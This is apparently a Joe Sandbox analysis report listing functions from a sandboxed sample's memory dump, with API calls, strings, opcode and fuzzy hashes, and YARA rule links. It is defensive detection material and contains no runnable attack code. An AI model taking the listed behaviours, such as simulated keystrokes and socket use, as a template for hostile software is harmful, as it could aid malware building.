GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00B72C79
_wcslen.LIBCMT ref: 00B72CAF
GetMenuItemID.USER32(?,?), ref: 00B72CE9
GetSubMenu.USER32(?,?), ref: 00B72CF7

Part of subcall function 00B44393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B443AD
Part of subcall function 00B44393: GetCurrentThreadId.KERNEL32 ref: 00B443B4
Part of subcall function 00B44393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B42F00), ref: 00B443BB

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00B72D7F

Part of subcall function 00B4F292: Sleep.KERNEL32 ref: 00B4F30A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 6ee2087a447c6c085ef2245258f3712d8d6d07f17d994ba30c6110ee5e8d804d
Instruction ID: f2932d27845e64fbf841e95876e83991dd67c33d9920ef692cc78a9a5c40079e
Opcode Fuzzy Hash: 6ee2087a447c6c085ef2245258f3712d8d6d07f17d994ba30c6110ee5e8d804d
Instruction Fuzzy Hash: 59716375A00215AFCB15DF65C885AAEB7F5EF48310F14C4A9E82AEB351DB34EE41CB90

Function 00B788F9 Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00B78992
IsWindowEnabled.USER32(00000000), ref: 00B7899E
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00B78A79
SendMessageW.USER32(00000000,000000B0,?,?), ref: 00B78AAC
IsDlgButtonChecked.USER32(?,00000000), ref: 00B78AE4
GetWindowLongW.USER32(00000000,000000EC), ref: 00B78B06
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00B78B1E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 03536d94709aedacc47461f0e996c6e6b3c07aa994d6ef88a392b346e07d77da
Instruction ID: ec779779272a59fdf0564baafa750e862401882be4c5a3a271a52bec54d1d57c
Opcode Fuzzy Hash: 03536d94709aedacc47461f0e996c6e6b3c07aa994d6ef88a392b346e07d77da
Instruction Fuzzy Hash: FF71BF74684204AFDB219F54C888FBABBF5FF09340F14949AE96DA7361CB31AD81DB11

Function 00B4B881 Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B4B8C0
GetKeyboardState.USER32(?), ref: 00B4B8D5
SetKeyboardState.USER32(?), ref: 00B4B936
PostMessageW.USER32(?,00000101,00000010,?), ref: 00B4B964
PostMessageW.USER32(?,00000101,00000011,?), ref: 00B4B983
PostMessageW.USER32(?,00000101,00000012,?), ref: 00B4B9C4
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00B4B9E7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e54abfd885b7c987d73abbbdaf23f81643026115aecafd095a1a82feeee2cb4e
Instruction ID: 888837ebc92b1cdabe12b49967c06efbfbbfff860587d3a47f16cef64bdefea3
Opcode Fuzzy Hash: e54abfd885b7c987d73abbbdaf23f81643026115aecafd095a1a82feeee2cb4e
Instruction Fuzzy Hash: 2951CFA06087D53EFB3642388845FBA7EE9DB06704F0884C9E2D9568D2C7D8EED4E751

Function 00B4B6A1 Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00B4B6E0
GetKeyboardState.USER32(?), ref: 00B4B6F5
SetKeyboardState.USER32(?), ref: 00B4B756
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00B4B782
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00B4B79F
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00B4B7DE
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00B4B7FF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 8fa769d9ae8fd1e6f35de9b06fece3cc0a66a091dcd6de076765e9aa9bd69a72
Instruction ID: cbc99188a8478670df0774d06d485729a143d6e1a118be332896c639d7659e8e
Opcode Fuzzy Hash: 8fa769d9ae8fd1e6f35de9b06fece3cc0a66a091dcd6de076765e9aa9bd69a72
Instruction Fuzzy Hash: CB51DFA09086D53EFB3683248C55F7ABFE9DB46304F0884C9E2D94A8D2D394EE94F751

Function 00B157A1 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,00B15F16,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 00B157E3
__fassign.LIBCMT ref: 00B1585E
__fassign.LIBCMT ref: 00B15879
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 00B1589F
WriteFile.KERNEL32(?,FF8BC35D,00000000,00B15F16,00000000,?,?,?,?,?,?,?,?,?,00B15F16,?), ref: 00B158BE
WriteFile.KERNEL32(?,?,00000001,00B15F16,00000000,?,?,?,?,?,?,?,?,?,00B15F16,?), ref: 00B158F7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 59b7a51a3b127f86cb7885248f8a96b739a47fb270d85295e45604c284e50cfd
Instruction ID: 0c3753b41a35d3d465d4ff1a5ed4d0f32bbaf41cc1153ee2977e1c6e4ec14da0
Opcode Fuzzy Hash: 59b7a51a3b127f86cb7885248f8a96b739a47fb270d85295e45604c284e50cfd
Instruction Fuzzy Hash: 3C51D8B1A00649DFCB20CFA8D981BEEBBF8EF48310F54415AE555E7291D730EA81CB61

Function 00B03090 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B030BB
___except_validate_context_record.LIBVCRUNTIME ref: 00B030C3
_ValidateLocalCookies.LIBCMT ref: 00B03151
__IsNonwritableInCurrentImage.LIBCMT ref: 00B0317C
_ValidateLocalCookies.LIBCMT ref: 00B031D1

Strings

csm, xrefs: 00B03166

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5ba24546b00bdcbcb36a5cc4aa735a12d9e6f4f7b57a77dbf05e57991a9b60b4
Instruction ID: 4303221de816611bd79cd51ec9d93b48edd16b42820de6752b1404a580353b4e
Opcode Fuzzy Hash: 5ba24546b00bdcbcb36a5cc4aa735a12d9e6f4f7b57a77dbf05e57991a9b60b4
Instruction Fuzzy Hash: 6441A134A002089BCF10DF68C889A9EBFF9EF49B14F1481D5E815AB3E2D7319B05CB91

Function 00B61B15 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B63AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00B63AD7
Part of subcall function 00B63AAB: _wcslen.LIBCMT ref: 00B63AF8

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00B61B6F
WSAGetLastError.WSOCK32 ref: 00B61B7E
WSAGetLastError.WSOCK32 ref: 00B61C26
closesocket.WSOCK32(00000000), ref: 00B61C56

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 1ae25667d7ffce11e10ac3680815aceeefdcd425688240af708eb7bc52d8f1ff
Instruction ID: 01f852010f1e60d7d4067667ed16152873e5c4e54df2666d1c382b7fb873ade2
Opcode Fuzzy Hash: 1ae25667d7ffce11e10ac3680815aceeefdcd425688240af708eb7bc52d8f1ff
Instruction Fuzzy Hash: 0041E731600104AFDB10DF28C885BADB7E9EF45364F188499F8099F292DB74ED81CBE1

Function 00B4D7AB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B4D7CD,?), ref: 00B4E714

Part of subcall function 00B4E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B4D7CD,?), ref: 00B4E72D

lstrcmpiW.KERNEL32(?,?), ref: 00B4D7F0
MoveFileW.KERNEL32(?,?), ref: 00B4D82A
_wcslen.LIBCMT ref: 00B4D8B0
_wcslen.LIBCMT ref: 00B4D8C6
SHFileOperationW.SHELL32(?), ref: 00B4D90C

Strings

\*.*, xrefs: 00B4D89E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 42fb350e222492a5dcda21e781a17a7020169005d5882651a8ec91c6409e2f0a
Instruction ID: 0bc9094023b0be35b824081ab00158c9c57c0aa29d0d9e77763d7605754e0cc3
Opcode Fuzzy Hash: 42fb350e222492a5dcda21e781a17a7020169005d5882651a8ec91c6409e2f0a
Instruction Fuzzy Hash: 7F4147719052189EDF12EBA4D985BEE77F8EF08340F1004E6E509EB141EB35A788DB50

Function 00B73899 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B738B8
GetWindowLongW.USER32(?,000000F0), ref: 00B738EB
GetWindowLongW.USER32(?,000000F0), ref: 00B73920
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B73952
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B7397C
GetWindowLongW.USER32(?,000000F0), ref: 00B7398D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B739A7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: a80678307436c328f808a15e4002aecc2166165b6e27d5c0a23aa30c4f5a2b15
Instruction ID: c5d0ba96a9d8b0362c57f52b11c6683c28f7d39e7b08f5bee6ebed15efb5d756
Opcode Fuzzy Hash: a80678307436c328f808a15e4002aecc2166165b6e27d5c0a23aa30c4f5a2b15
Instruction Fuzzy Hash: 81313C31704255AFDB21CF48DC89F6437E1FB86B50F1541A4F6698B2B1CBB1AD84EB01

Function 00B4808D Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B480D0
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B480F6
SysAllocString.OLEAUT32(00000000), ref: 00B480F9
SysAllocString.OLEAUT32(?), ref: 00B48117
SysFreeString.OLEAUT32(?), ref: 00B48120
StringFromGUID2.OLE32(?,?,00000028), ref: 00B48145
SysAllocString.OLEAUT32(?), ref: 00B48153

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 1f79f02869cd6da3c490eaedae4703ce5e3fb318f28c0f93fd8bf5d9ba0a5a75
Instruction ID: 086919092682bc2e9dc091c844063dbb6f8631a27fc3fe7a32a8e93aa46765eb
Opcode Fuzzy Hash: 1f79f02869cd6da3c490eaedae4703ce5e3fb318f28c0f93fd8bf5d9ba0a5a75
Instruction Fuzzy Hash: D6219772600219AFDF10DFA8CC84DBE77ECEF093607048466F915EB290DA70DD869760

Function 00B48164 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B481A9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B481CF
SysAllocString.OLEAUT32(00000000), ref: 00B481D2
SysAllocString.OLEAUT32 ref: 00B481F3
SysFreeString.OLEAUT32 ref: 00B481FC
StringFromGUID2.OLE32(?,?,00000028), ref: 00B48216
SysAllocString.OLEAUT32(?), ref: 00B48224

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 9cf5ebc3d6c22a8b25e43d03f6ad9eedc3cdb60d9ab9e157d6cf13697d154f3c
Instruction ID: b49c5637ff28d83640ef4a5db96c16813bd9e35f108d5e532027bb328a04bf2f
Opcode Fuzzy Hash: 9cf5ebc3d6c22a8b25e43d03f6ad9eedc3cdb60d9ab9e157d6cf13697d154f3c
Instruction Fuzzy Hash: 2521A135604604BFDB10AFA8DC88DAE77ECEF093607008165F905DB2A0DEB0ED81DB64

Function 00B50E79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00B50E99
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B50ED5

Strings

nul, xrefs: 00B50F0E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 15cbeb96be7d5ae02d54a146278f195e6918bd71ba943f7f9026da6f4c7f1bf8
Instruction ID: 12a02fe6cab15944e8563c2771c89d79c3147cac87fa9941aa1e8790d0a8ab24
Opcode Fuzzy Hash: 15cbeb96be7d5ae02d54a146278f195e6918bd71ba943f7f9026da6f4c7f1bf8
Instruction Fuzzy Hash: D5215C7051430AABDB20AF24DC45B9A77F8EF54761F204AE9FCA5E72D0EB709845CB50

Function 00B50F4E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00B50F6D
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B50FA8

Strings

nul, xrefs: 00B50FE0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 06ce6946756e17cdd35912c4b08d2966a6a856ac4f355dff677f3c18b76e5767
Instruction ID: 889f8a40e5079a7c203b52cd8f92598426376b0bfb266a4a81b0770dfb4d0c7a
Opcode Fuzzy Hash: 06ce6946756e17cdd35912c4b08d2966a6a856ac4f355dff677f3c18b76e5767
Instruction Fuzzy Hash: DE219C31644345ABDB209F68CC04B9A77F8FF55762F240A99FCA1E32D0DB709888DB50

Function 00B74B4B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE7873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00AE78B1
Part of subcall function 00AE7873: GetStockObject.GDI32(00000011), ref: 00AE78C5
Part of subcall function 00AE7873: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE78CF

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00B74BB0
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00B74BBD
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00B74BC8
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00B74BD7
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00B74BE3

Strings

Msctls_Progress32, xrefs: 00B74B81

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: f9426164a946a2104da2777ab8b41549488438f59dd75d8612710c123eda6a6d
Instruction ID: 84a18aed89f7794617f398b437bb8239a51524f31c2378c934f70b28b70b66cb
Opcode Fuzzy Hash: f9426164a946a2104da2777ab8b41549488438f59dd75d8612710c123eda6a6d
Instruction Fuzzy Hash: C51193B1140219BEEF119F65CC85EEB7FADEF08798F018110B618A2160CB72DC619BA0

Function 00B1DB5F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B1DB23: _free.LIBCMT ref: 00B1DB4C

_free.LIBCMT ref: 00B1DBAD

Part of subcall function 00B12D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4), ref: 00B12D4E
Part of subcall function 00B12D38: GetLastError.KERNEL32(00BB1DC4,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4,00BB1DC4), ref: 00B12D60

_free.LIBCMT ref: 00B1DBB8
_free.LIBCMT ref: 00B1DBC3
_free.LIBCMT ref: 00B1DC17
_free.LIBCMT ref: 00B1DC22
_free.LIBCMT ref: 00B1DC2D
_free.LIBCMT ref: 00B1DC38

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
Instruction ID: 777f34e0dc75cbcd9e4d70399914194c59848d48c4757ff1a8c3fe362d359794
Opcode Fuzzy Hash: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
Instruction Fuzzy Hash: FD1163B2546B04BAD520BBB0DC07FCB77DC9F04700FC10CE9B29AAA152DA75B6958750

Function 00B4E30E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00B4E328
LoadStringW.USER32(00000000), ref: 00B4E32F
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00B4E345
LoadStringW.USER32(00000000), ref: 00B4E34C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B4E390

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00B4E36D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
